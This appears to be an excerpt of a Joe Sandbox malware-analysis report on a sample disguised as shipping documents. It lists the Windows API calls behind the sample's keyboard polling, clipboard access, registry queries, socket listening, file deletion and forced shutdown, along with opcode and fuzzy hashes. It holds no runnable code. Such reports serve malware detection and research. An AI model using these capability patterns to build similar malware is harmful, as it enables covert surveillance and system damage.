                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00A0F195
                                                • _wcscmp.LIBCMT ref: 00A0F1BC
                                                • _wcscmp.LIBCMT ref: 00A0F1D3
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A0F1E5
                                                • SetCurrentDirectoryW.KERNEL32(00A58920), ref: 00A0F203
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00A0F20D
                                                • FindClose.KERNEL32(00000000), ref: 00A0F21A
                                                • FindClose.KERNEL32(00000000), ref: 00A0F22C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                • String ID: *.*
                                                • API String ID: 1824444939-438819550
                                                • Opcode ID: 5dda0c06513d6fdb08384c9956fbf6b4eb6992e24252c5d9c2bd74cbbe3bae81
                                                • Instruction ID: 0e4a3d9d7fe4f9fe189002583589af5712b4f429c4aca8d04e5977c949ed502f
                                                • Opcode Fuzzy Hash: 5dda0c06513d6fdb08384c9956fbf6b4eb6992e24252c5d9c2bd74cbbe3bae81
                                                • Instruction Fuzzy Hash: EE31603650021DBEDB30EBA4FC49EEE77ACAF49360F144275E914B24D1DA309A46CA64
                                                Function 00A0A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00A0A20F
                                                • __swprintf.LIBCMT ref: 00A0A231
                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00A0A26E
                                                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00A0A293
                                                • _memset.LIBCMT ref: 00A0A2B2
                                                • _wcsncpy.LIBCMT ref: 00A0A2EE
                                                • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00A0A323
                                                • CloseHandle.KERNEL32(00000000), ref: 00A0A32E
                                                • RemoveDirectoryW.KERNEL32(?), ref: 00A0A337
                                                • CloseHandle.KERNEL32(00000000), ref: 00A0A341
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                • String ID: :$\$\??\%s
                                                • API String ID: 2733774712-3457252023
                                                • Opcode ID: 89edcc7f66dfc2cc8c90acbdeb0ed3870954372916cb46732a9d847b517eb1b0
                                                • Instruction ID: bfed9145cde39d34eb99f9f2c0fd1445fd47944fa759698175844e6d6907b201
                                                • Opcode Fuzzy Hash: 89edcc7f66dfc2cc8c90acbdeb0ed3870954372916cb46732a9d847b517eb1b0
                                                • Instruction Fuzzy Hash: 7B31C676900209ABDB21DFA4DC49FFB37BCEF89740F1041B6F509D61A0EB7096458B25
                                                Function 009B66E1 Relevance: 18.4, Strings: 14, Instructions: 889COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
                                                • API String ID: 0-4052911093
                                                • Opcode ID: a79003fb576818587b2f9d9e2e689833bd341eefaa4ca4ade2b2e7d0e90203d9
                                                • Instruction ID: be71ec8582d682f30c2d1f7f071f6beb0b592c0ddbf68b679674b66fd74b028c
                                                • Opcode Fuzzy Hash: a79003fb576818587b2f9d9e2e689833bd341eefaa4ca4ade2b2e7d0e90203d9
                                                • Instruction Fuzzy Hash: 96726E75E00219DBDB14CF59C9807FEB7B9FF48320F14816AE949EB291EB749981CB90
                                                Function 00A0001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?), ref: 00A00097
                                                • SetKeyboardState.USER32(?), ref: 00A00102
                                                • GetAsyncKeyState.USER32(000000A0), ref: 00A00122
                                                • GetKeyState.USER32(000000A0), ref: 00A00139
                                                • GetAsyncKeyState.USER32(000000A1), ref: 00A00168
                                                • GetKeyState.USER32(000000A1), ref: 00A00179
                                                • GetAsyncKeyState.USER32(00000011), ref: 00A001A5
                                                • GetKeyState.USER32(00000011), ref: 00A001B3
                                                • GetAsyncKeyState.USER32(00000012), ref: 00A001DC
                                                • GetKeyState.USER32(00000012), ref: 00A001EA
                                                • GetAsyncKeyState.USER32(0000005B), ref: 00A00213
                                                • GetKeyState.USER32(0000005B), ref: 00A00221
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: State$Async$Keyboard
                                                • String ID:
                                                • API String ID: 541375521-0
                                                • Opcode ID: de5817ed16a2815673f9e5034584e3e18ea22238aa39c0960a2336ecfd0d13ab
                                                • Instruction ID: 962c5c93ef8c98c5586c1824636bda00de4c84accf9215c4b03881f59bbfc5d7
                                                • Opcode Fuzzy Hash: de5817ed16a2815673f9e5034584e3e18ea22238aa39c0960a2336ecfd0d13ab
                                                • Instruction Fuzzy Hash: 0D51DC3090478C29FB35DBB0A954FEABFB49F12380F08469ED5C5565C2DAA49B8CC761
                                                Function 00A203DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A20E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A1FDAD,?,?), ref: 00A20E31
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A204AC
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00A2054B
                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00A205E3
                                                • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00A20822
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A2082F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                • String ID:
                                                • API String ID: 1240663315-0
                                                • Opcode ID: f8f84f81393afb7960982b774b78b4a50b8c8a90c7a8459555aec0ec22e4e24d
                                                • Instruction ID: 0025e5589ad3fe649a910f04ab5d186b99fcdf7bfa3e5a0a56da07d249c5a103
                                                • Opcode Fuzzy Hash: f8f84f81393afb7960982b774b78b4a50b8c8a90c7a8459555aec0ec22e4e24d
                                                • Instruction Fuzzy Hash: 6AE14B31604214AFCB14DF68D895E6BBBF5FF89714F04856DF84ADB2A2DA30E901CB91
                                                Function 00A183BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                • CoInitialize.OLE32 ref: 00A18403
                                                • CoUninitialize.OLE32 ref: 00A1840E
                                                • CoCreateInstance.OLE32(?,00000000,00000017,00A32BEC,?), ref: 00A1846E
                                                • IIDFromString.OLE32(?,?), ref: 00A184E1
                                                • VariantInit.OLEAUT32(?), ref: 00A1857B
                                                • VariantClear.OLEAUT32(?), ref: 00A185DC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                • API String ID: 834269672-1287834457
                                                • Opcode ID: 5dfcbf15c3b56a2cec0a435e20022f2624a69e06cda636113ddfab2945f8aee2
                                                • Instruction ID: fae13a94c55e84d33ff573ea70feb65a40e29fe13120e6713f838b3eac377d5a
                                                • Opcode Fuzzy Hash: 5dfcbf15c3b56a2cec0a435e20022f2624a69e06cda636113ddfab2945f8aee2
                                                • Instruction Fuzzy Hash: 06619E70608712AFD710DF54C848FAAB7E9FF89754F004819F9859B291CB78ED89CB92
                                                Function 00A14164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                • String ID:
                                                • API String ID: 1737998785-0
                                                • Opcode ID: 752cda2efc201080bbdde36557a86fb6b08816eee833f5fe8aee82e4373fd4b4
                                                • Instruction ID: aa3650ecfa67573e7b56360c504638a5afa9559e5f83e423487842809eaa5b62
                                                • Opcode Fuzzy Hash: 752cda2efc201080bbdde36557a86fb6b08816eee833f5fe8aee82e4373fd4b4
                                                • Instruction Fuzzy Hash: 69219135600210AFDB10AFA8DC09BB97BB8FF49710F148039F9469B2A1DB74AC42CB94
                                                Function 00A037EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009A4743,?,?,009A37AE,?), ref: 009A4770
                                                  • Part of subcall function 00A04A31: GetFileAttributesW.KERNEL32(?,00A0370B), ref: 00A04A32
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00A038A3
                                                • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00A0394B
                                                • MoveFileW.KERNEL32(?,?), ref: 00A0395E
                                                • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00A0397B
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00A0399D
                                                • FindClose.KERNEL32(00000000,?,?,?,?), ref: 00A039B9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                                • String ID: \*.*
                                                • API String ID: 4002782344-1173974218
                                                • Opcode ID: c005bc007ab442d095e003b015a10d980ae5bc186b40bbafb556061d9c76ad83
                                                • Instruction ID: 8981c7328d750aca01810466cabef6ceb4cb7d412dd0ebedb394c1d9b00dbfa8
                                                • Opcode Fuzzy Hash: c005bc007ab442d095e003b015a10d980ae5bc186b40bbafb556061d9c76ad83
                                                • Instruction Fuzzy Hash: D751813290514C9ACF15EBE0EE92AFDB779AF55340F604069E402771D2EB316F09CBA1
                                                Function 00A0F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00A0F440
                                                • Sleep.KERNEL32(0000000A), ref: 00A0F470
                                                • _wcscmp.LIBCMT ref: 00A0F484
                                                • _wcscmp.LIBCMT ref: 00A0F49F
                                                • FindNextFileW.KERNEL32(?,?), ref: 00A0F53D
                                                • FindClose.KERNEL32(00000000), ref: 00A0F553
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
                                                • String ID: *.*
                                                • API String ID: 713712311-438819550
                                                • Opcode ID: c14b7ed34242deec51e54fb186a613b2965d59d61e2f5fe189466e7f7fd67e29
                                                • Instruction ID: d1809a35a9984114ec0a2d09c5c79984602c8498e5aee81dec8e3561b33af1b3
                                                • Opcode Fuzzy Hash: c14b7ed34242deec51e54fb186a613b2965d59d61e2f5fe189466e7f7fd67e29
                                                • Instruction Fuzzy Hash: 95417E7190021DAFCF20DFA8DC45AEEBBB4FF45310F104476E815A7191DB31AA45CB90
                                                Function 009B5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove
                                                • String ID:
                                                • API String ID: 4104443479-0
                                                • Opcode ID: 428294fe9a282de086831e16bd25be9c4c19fac107ea2a8da910269447c38425
                                                • Instruction ID: 2226ae3ac55f929296c753117a8f2725f10a329cf18bee58ca4120862dedb5ff
                                                • Opcode Fuzzy Hash: 428294fe9a282de086831e16bd25be9c4c19fac107ea2a8da910269447c38425
                                                • Instruction Fuzzy Hash: F8127A70A00609DFDF04DFA5DA81BEEB7B9FF88310F104529E846E7291EB39A915CB51
                                                Function 00A051BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009F87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 009F882B
                                                  • Part of subcall function 009F87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 009F8858
                                                  • Part of subcall function 009F87E1: GetLastError.KERNEL32 ref: 009F8865
                                                • ExitWindowsEx.USER32(?,00000000), ref: 00A051F9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                • String ID: $@$SeShutdownPrivilege
                                                • API String ID: 2234035333-194228
                                                • Opcode ID: fa7ec766b61f79ffbb3d5bf9e09d794e4a0385730ea83154ea002b034aff8466
                                                • Instruction ID: eb27e90d1dc5b46b87d71259a54041fbd64b6d4b607b128b239b73e090b53800
                                                • Opcode Fuzzy Hash: fa7ec766b61f79ffbb3d5bf9e09d794e4a0385730ea83154ea002b034aff8466
                                                • Instruction Fuzzy Hash: AE01D435E95619ABE7286378BC9AFFB72A8AF0D740F200530F903E20D2E9611C018A90
                                                Function 00A16283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00A162DC
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A162EB
                                                • bind.WSOCK32(00000000,?,00000010), ref: 00A16307
                                                • listen.WSOCK32(00000000,00000005), ref: 00A16316
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A16330
                                                • closesocket.WSOCK32(00000000,00000000), ref: 00A16344
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLast$bindclosesocketlistensocket
                                                • String ID:
                                                • API String ID: 1279440585-0
                                                • Opcode ID: b3e893fefca7bc7ce25acd15650d42e070348ba848b7794ab4725ebe44d5aaf7
                                                • Instruction ID: 236d0acfed86727b024124aa2a78fe1f19e44779fbfab03b76059382f57e8bd2
                                                • Opcode Fuzzy Hash: b3e893fefca7bc7ce25acd15650d42e070348ba848b7794ab4725ebe44d5aaf7
                                                • Instruction Fuzzy Hash: 5C2191356002049FCB10EF68C945BBEB7B9EF89720F154269F966EB391C770AD42CB61
                                                Function 009B5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009C0DB6: std::exception::exception.LIBCMT ref: 009C0DEC
                                                  • Part of subcall function 009C0DB6: __CxxThrowException@8.LIBCMT ref: 009C0E01
                                                • _memmove.LIBCMT ref: 009F0258
                                                • _memmove.LIBCMT ref: 009F036D
                                                • _memmove.LIBCMT ref: 009F0414
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove$Exception@8Throwstd::exception::exception
                                                • String ID:
                                                • API String ID: 1300846289-0
                                                • Opcode ID: 4ff32529824482ab0c48750a064bc7621a0b16bc8a2df17d370ec1cbaeea2499
                                                • Instruction ID: d5b118c512951289af68e1b07728c20b603be3daf9e6c4b0ea797c6e66c07654
                                                • Opcode Fuzzy Hash: 4ff32529824482ab0c48750a064bc7621a0b16bc8a2df17d370ec1cbaeea2499
                                                • Instruction Fuzzy Hash: 51029F70E00209DBCF04DFA4D981BBEBBB9EF84310F158469E90ADB295EB35D951CB91
                                                Function 009A1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • DefDlgProcW.USER32(?,?,?,?,?), ref: 009A19FA
                                                • GetSysColor.USER32(0000000F), ref: 009A1A4E
                                                • SetBkColor.GDI32(?,00000000), ref: 009A1A61
                                                  • Part of subcall function 009A1290: DefDlgProcW.USER32(?,00000020,?), ref: 009A12D8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ColorProc$LongWindow
                                                • String ID:
                                                • API String ID: 3744519093-0
                                                • Opcode ID: 12aa21c9c5e3d22d4a60966ac054617f1a4394f0818a02e8c64698a9fbd4f734
                                                • Instruction ID: 58355b6166ac4653ef66548d6fb9d44157552b9f3842e5d16279393cce36d5c3
                                                • Opcode Fuzzy Hash: 12aa21c9c5e3d22d4a60966ac054617f1a4394f0818a02e8c64698a9fbd4f734
                                                • Instruction Fuzzy Hash: 6AA17A70106994FEE728AB2D9D54EBF35ADDF83385F15492BF502D62A2CB288D01D2F1
                                                Function 00A16747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A17D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00A17DB6
                                                • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00A1679E
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A167C7
                                                • bind.WSOCK32(00000000,?,00000010), ref: 00A16800
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A1680D
                                                • closesocket.WSOCK32(00000000,00000000), ref: 00A16821
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
